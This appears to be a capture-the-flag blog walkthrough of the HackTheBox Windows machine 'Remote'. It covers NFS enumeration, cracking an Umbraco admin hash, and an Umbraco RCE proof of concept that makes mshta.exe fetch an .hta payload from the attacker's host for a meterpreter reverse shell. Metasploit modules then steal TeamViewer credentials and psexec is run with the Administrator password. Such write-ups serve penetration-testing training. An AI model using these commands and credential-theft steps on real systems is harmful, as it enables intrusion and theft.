Spread the love

Table of Contents

Target: Remote

Welcome, in this post we will be analyzing the HackTheBox machine Remote.

This box is a Windows system, created by the HTB user mrb3n.

Exploitation Process

  • Remote host a web application running a CMS software called ‘Umbraco’, which is vulnerable to an authenticated RCE attack
  • The target is configured with NFS, enumerating the content of the remote shares reveals the hashed admin credentials for the Umbraco CMS
  • Cracking the hashed credentials allows us to perform the authenticated RCE exploit against the system, granting us an initial shell
  • A vulnerable version of TeamViewer is present on the box which can be exploited to gain Administrator credentials from the system
  • We can pass the Administrator credentials we gathered to PsExec to gain a shell as SYSTEM

Reconnaissance

Firstly, we will begin by performing an initial Nmap scan on the target host:

sudo nmap -T4 -sC -sV -p- -oA remote_nmapSudo_sC_sVallport01  10.10.10.180

  • -T4 Sets the timing template of our scan to be fairly quick
  • -sC Will run a default script scan against the target with NSE (Nmap Scripting Engine)
  • -sV Will probe open ports to determine service/version info
  • -p- Will configure our scan to probe all ports on the target host
  • -oA Will output our scan report in normal, XML, or Grepable format

Nmap scan report for 10.10.10.180
Host is up (0.053s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home – Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7m14s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-07T12:12:26
|_ start_date: N/A

Our Nmap scan reports the following ports and services on the host:

21/tcp open ftp Microsoft ftpd

80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

111/tcp open rpcbind 2-4 (RPC #100000)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

2049/tcp open mountd 1-3 (RPC #100005)

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

There are a number of services present on the target, a few of which are not properly identified by our initial Nmap scan.

Let’s examine these services further:

  • Port 21 is running FTP and allows for Anonymous login
  • Port 80 is running an HTTP web server
  • Port 111 and 135 are responsible for Remote Procedure Call (RPC) on the target
  • Port 139 and 445 reveal that Server Message Block (SMB) is present on the host
  • Port 2049 indicates that Network File Share (NFS) is configured on the target
  • Port 5985 is responsible for the Windows Remote Management service

Now that we have fingerprinted our target machine and acquired information regarding the services and ports present on the system, we can continue by enumerating these services further. Before we continue with our enumeration though, let us review this data and discover what conclusions we can draw from it:

  • Given that FTP allows anonymous logins, we should investigate this service to see what might be present on the FTP server and identify what actions we can perform as an anonymous user
  • Since there is an HTTP web server running on port 80, we should make sure to thoroughly enumerate this web application to see if it is vulnerable or contains anything valuable
  • SMB is present on the host, thus we should pay attention to anything that may allow us to leverage SMB while attacking the target
  • Since NFS is running on the box, we should enumerate this service to identify any remote shares, as they may contain information that could aid in our exploitation
  • Windows Remote Management service is configured on the host and may allow us to perform administrative actions if exploitable

Enumeration

To begin our enumeration process, we will first investigate the FTP service on the host:

After authenticating to the FTP server as Anonymous, we quickly discover that there doesn’t seem to be anything present within the FTP directory. In addition, our anonymous user seems to be very limited in the actions it can perform, therefore we will move on to examining the web server.

HTTP

Navigating to the HTTP server from within our browser serves us a site for Acme Widgets.

To begin our enumeration of the web server, we will scan the target to identify any present directories and files stored on the host.

Spidering the web application with OWASP ZAP returns an interesting directory titled ‘umbraco’:

In addition to our scan results, navigating to /intranet page on the target also reveals the existence of Umbraco displayed in the footer text of the page:

Navigating to the /umbraco directory on the web server reveals a login interface:

Umbraco is an open source content management system for .NET web applications.

Querying Google for an exploit related to Umbraco CMS reveals that there is an authenticated remote code execution vulnerability in version 7.12.4.

Link: https://github.com/noraj/Umbraco-RCE

This seems promising, however we will need valid administrator credentials to exploit this vulnerability.

Where might we find these credentials?

Well, as we noted in our reconnaissance phase, NFS appears to be running on the host. Therefore, lets examine this service to identify if there are any shares that we can access, as they may contain information regarding the web server or CMS software.

Network File Share

We’ll start enumerating the NFS service with the ‘showmount‘ command:

showmount -e 10.10.10.180 | tee showmount_results01
Export list for 10.10.10.180:
/site_backups (everyone)

Performing further enumeration with NSE reveals some additional information:

sudo nmap -vv –reason -Pn -sV -p 111 -oA nfs_nmapSudo_sV01 “–script=(rpcinfo or nfs*) and not (brute or broadcast or dos or external or fuzzer)” 10.10.10.180

Nmap scan report for 10.10.10.180
Host is up, received user-set (0.048s latency).
PORT STATE SERVICE REASON VERSION
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| nfs-ls: Volume /site_backups
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwx—— 4294967294 4294967294 4096 2020-02-23T18:35:48 .
| ?????????? ? ? ? ? ..
| rwx—— 4294967294 4294967294 64 2020-02-20T17:16:39 App_Browsers
| rwx—— 4294967294 4294967294 4096 2020-02-20T17:17:19 App_Data
| rwx—— 4294967294 4294967294 4096 2020-02-20T17:16:40 App_Plugins
| rwx—— 4294967294 4294967294 8192 2020-02-20T17:16:42 Config
| rwx—— 4294967294 4294967294 64 2020-02-20T17:16:40 aspnet_client
| rwx—— 4294967294 4294967294 49152 2020-02-20T17:16:42 bin
| rwx—— 4294967294 4294967294 64 2020-02-20T17:16:42 css
| rwx—— 4294967294 4294967294 152 2018-11-01T17:06:44 default.aspx
|_
| nfs-showmount:
|_ /site_backups
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /site_backups 31119356.0 12199408.0 18919948.0 40% 16.0T 1023
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status

Excellent, we can clearly see that the directory /site_backups is mounted on the NFS share. Examining the contents of this directory should give us a bit more insight into the web application and CMS software running on the HTTP server.

To continue our analysis of the NFS service, we will mount the remote share onto our local system in order to examine its contents.

To start, we will create a new directory within /tmp on our attacking machine:

mkdir /tmp/htb_remote

Next, we will utilize the ‘mount‘ command to mount the /site_backups directory from the remote share on the target, to our newly created directory within /tmp:

sudo mount -t nfs 10.10.10.180:/site_backups /tmp/htb_remote

With the remote directory mounted on our attacking machine, we can now begin to comb through its contents:

ls -la /tmp/remote_htb
total 131
drwx—— 2 nobody 4294967294 4096 Feb 23 12:35 .
drwxrwxrwt 38 root root 12288 Apr 7 08:07 ..
drwx—— 2 nobody 4294967294 64 Feb 20 11:16 App_Browsers
drwx—— 2 nobody 4294967294 4096 Feb 20 11:17 App_Data
drwx—— 2 nobody 4294967294 4096 Feb 20 11:16 App_Plugins
drwx—— 2 nobody 4294967294 64 Feb 20 11:16 aspnet_client
drwx—— 2 nobody 4294967294 49152 Feb 20 11:16 bin
drwx—— 2 nobody 4294967294 8192 Feb 20 11:16 Config
drwx—— 2 nobody 4294967294 64 Feb 20 11:16 css
-rwx—— 1 nobody 4294967294 152 Nov 1 2018 default.aspx
-rwx—— 1 nobody 4294967294 89 Nov 1 2018 Global.asax
drwx—— 2 nobody 4294967294 4096 Feb 20 11:16 Media
drwx—— 2 nobody 4294967294 64 Feb 20 11:16 scripts
drwx—— 2 nobody 4294967294 8192 Feb 20 11:16 Umbraco
drwx—— 2 nobody 4294967294 4096 Feb 20 11:16 Umbraco_Client
drwx—— 2 nobody 4294967294 4096 Feb 20 11:16 Views
-rwx—— 1 nobody 4294967294 28539 Feb 19 23:57 Web.config

Examining the Web.config file within this directory reveals the version of the Umbraco CMS software:

This confirms that the Umbraco CMS software on the target host is vulnerable to the authenticated RCE attack we discovered earlier. Now that we are certain that the version is vulnerable, we will need to locate the credentials for the Umbraco administrator.

Locating The Umbraco CMS Admin Credentials

Meticulously investigating the contents of the mounted /site_backups directory exposes the presence of a file titled ‘Umbraco.sdf‘ located within the /App_Data directory of the share.

SDF stands for ‘Standard Database Format’, these files are database files containing database information in a structured format. In this context, the SDF file is utilized by the Umbraco application to store database information within the Microsoft SQL Server running on the target system.

This is of great interest to us as an attacker, as the database file may contain sensitive information or user credentials utilized by the application.

Let’s take a look:

strings /tmp/htb_remote/App_Data/Umbraco.sdf | less

Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:”SHA1″}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:”SHA1″}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:”SHA1″}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={“hashAlgorithm”:”HMACSHA256″}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={“hashAlgorithm”:”HMACSHA256″}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={“hashAlgorithm”:”HMACSHA256″}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

Terrific!

The contents of the Umbraco.sdf file contain a SHA1 hash of the Umbraco admin password.

Let’s see if we can crack this hash!

To achieve this, we’ll make use of an online hash cracking site called CrackStation:

The hash is cracked and reveals that the administrator password for the Umbraco CMS software is ‘baconandcheese‘.

When cracking hashes, I generally will make use of hashcat or John. However, I have found great success utilizing CrackStation and it can provide some quick wins when cracking hashes, thus I will often feed this tool hashes first before proceeding to the aforementioned tools. I suggest checking it out for yourself:

https://crackstation.net/

Now that we have attained valid credentials for the Umbraco administrator, we can now proceed to exploit the CMS software to gain an initial shell.

Exploitation

To achieve remote code execution on the victim machine, we will make use of a nifty POC created by https://github.com/noraj

The POC can be located here:
https://github.com/noraj/Umbraco-RCE

Now that we have a working POC at our disposal, let’s confirm that we can perform code execution:

python umbraco_CMSv7-12-4_authRCE.py -u admin@htb.local -p baconandcheese -i ‘http://10.10.10.180/’ -c ipconfig | tee rce_test_ipconfig.txt

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::4d02:8a26:d7de:7807
Link-local IPv6 Address . . . . . : fe80::4d02:8a26:d7de:7807%13
IPv4 Address. . . . . . . . . . . : 10.10.10.180
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:5a29%13
10.10.10.2

Awesome! We successfully exploited the RCE vulnerability and executed the ‘ipconfig’ command on the target system.

Only running ‘ipconfig’ is boringggg though. Let’s have some real fun and use our RCE to gain a meterpreter reverse shell! 😉😈

mshta.exe + malicious .hta file = shell

To start, we will need to create an evil .hta file for ‘mshta.exe’ to execute. Once executed, the malicious code within our .hta file will send us back a meterpreter reverse shell.

We will generate our evil .hta file using the MetaSploit module:
exploit/windows/misc/hta_server

Let’s do that now:

  1. set PAYLOAD windows/x64/meterpreter/reverse_tcp (Target system is x64)
  2. use exploit/windows/misc/hta_server
  3. set SRVHOST 10.10.1X.X (Your HTB VPN IP)
  4.  set TARGET 1 (Tells payload to utilize Powershell x64 on target)
  5. set LHOST 10.10.1X.X (Your HTB VPN IP)
  6. set LPORT 443
  7. run

Great, our ‘.hta’ payload has been created, hosted, and our localhost is configured to listen for our reverse shell.

Now we will exploit the RCE vulnerability in Umbraco to cause ‘mshta.exe’ to process our .hta payload.

We will start by copying the URL of the ‘.hta’ file we just generated:
http://10.10.14.9:8080/1QTvYEo7.hta

Moving on, we will return to the directory that contains the POC that we cloned from GitHub previously.

From within this directory we will execute the exploit, causing the target OS to execute the ‘mshta.exe’ command against our evil ‘.hta’ file. Therefore, executing the malicious code we embedded within the file, causing the target to shoot us back a reverse shell!

python umbraco_CMSv7-12-4_authRCE.py -u admin@htb.local -p baconandcheese -i ‘http://10.10.10.180/’ -c mshta.exe -a http://10.10.14.9:8080/1QTvYEo7.hta

WE’RE IN!

Now let’s grab that user flag!

Privilege Escalation

Not that we have attained a reverse shell on the system, as always, we will need to enumerate, enumerate, enumerate!

We will start by transferring over some Windows enumeration scripts to the target. 

There are numerous ways to transfer our scripts to the remote system:

  • We can transfer our tools using meterpreter’s built-in ‘upload’ command
  • Host a simple HTTP server and use ‘certutil.exe’ to download the file to the target system
  • Transfer nc.exe to the target to perform data transfer more efficiently

Of course there are many other ways to perform this action, these are just suggestions. Feel free to let your imagination run wild! 😉

For Windows enumeration I suggest the following scripts:

Powerless:

https://github.com/M4ximuss/Powerless

WinPEAS:

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

Luckily for us, our privilege escalation vector isn’t too obscured.

During your enumeration process you should spot a service running on the target that stands out:

— Program Files (x86) —
Common Files
Internet Explorer
Microsoft SQL Server
Microsoft.NET
MSBuild
Reference Assemblies
TeamViewer

Services currently running TeamViewer 7

TeamViewer_Service.exe 2996 TeamViewer7

JACKPOT!

Given that TeamViewer is installed on the target host, we can use an excellent metasploit module to gather the TeamViewer admin credentials!

Taking Over TeamViewer

To gather the credentials from TeamViewer, we will use the following metasploit module:
post/windows/gather/credentials/teamviewer_passwords

Let’s configure our module and get some credentials:

  1. use post/windows/gather/credentials/teamviewer_passwords
  2. set SESSION 1 (Set session for post module to run on)

  3.  run

Sweet! We have now gathered the admin password for TeamViewer!

Now the only question is… what do we do with these credentials? 

We can utilize the following MetaSploit module to leverage PsExec with the credentials we discovered:

exploit/windows/smb/psexec

Let’s rig it up:

  1. set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. use exploit/windows/smb/psexec
  3. set RHOSTS 10.10.10.180
  4. set SMBUser Administrator
  5. set SMBPass !R3m0te!
  6. run

SYSTEM ACQUIRED

Conclusion and Review

At first glance, Remote may appear to be a straight-forward and simple Windows box. In fact, I would agree with that statement.

However, where Remote really shines, is in its superb application of “real-world” Windows penetration testing techniques. While the vulnerabilities/techniques displayed on this machine are far from esoteric, they provide excellent training for buffing your Windows skills. I would especially suggest taking a look at this machine if you feel like your Windows skills are lacking.

Additionally, if you are currently working towards your OSCP, I would suggest checking this box out!

Make sure to thank mrb3n over on Hack The Box and throw a fellow hacker some respect+. 😁

Until next time,

Happy Hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *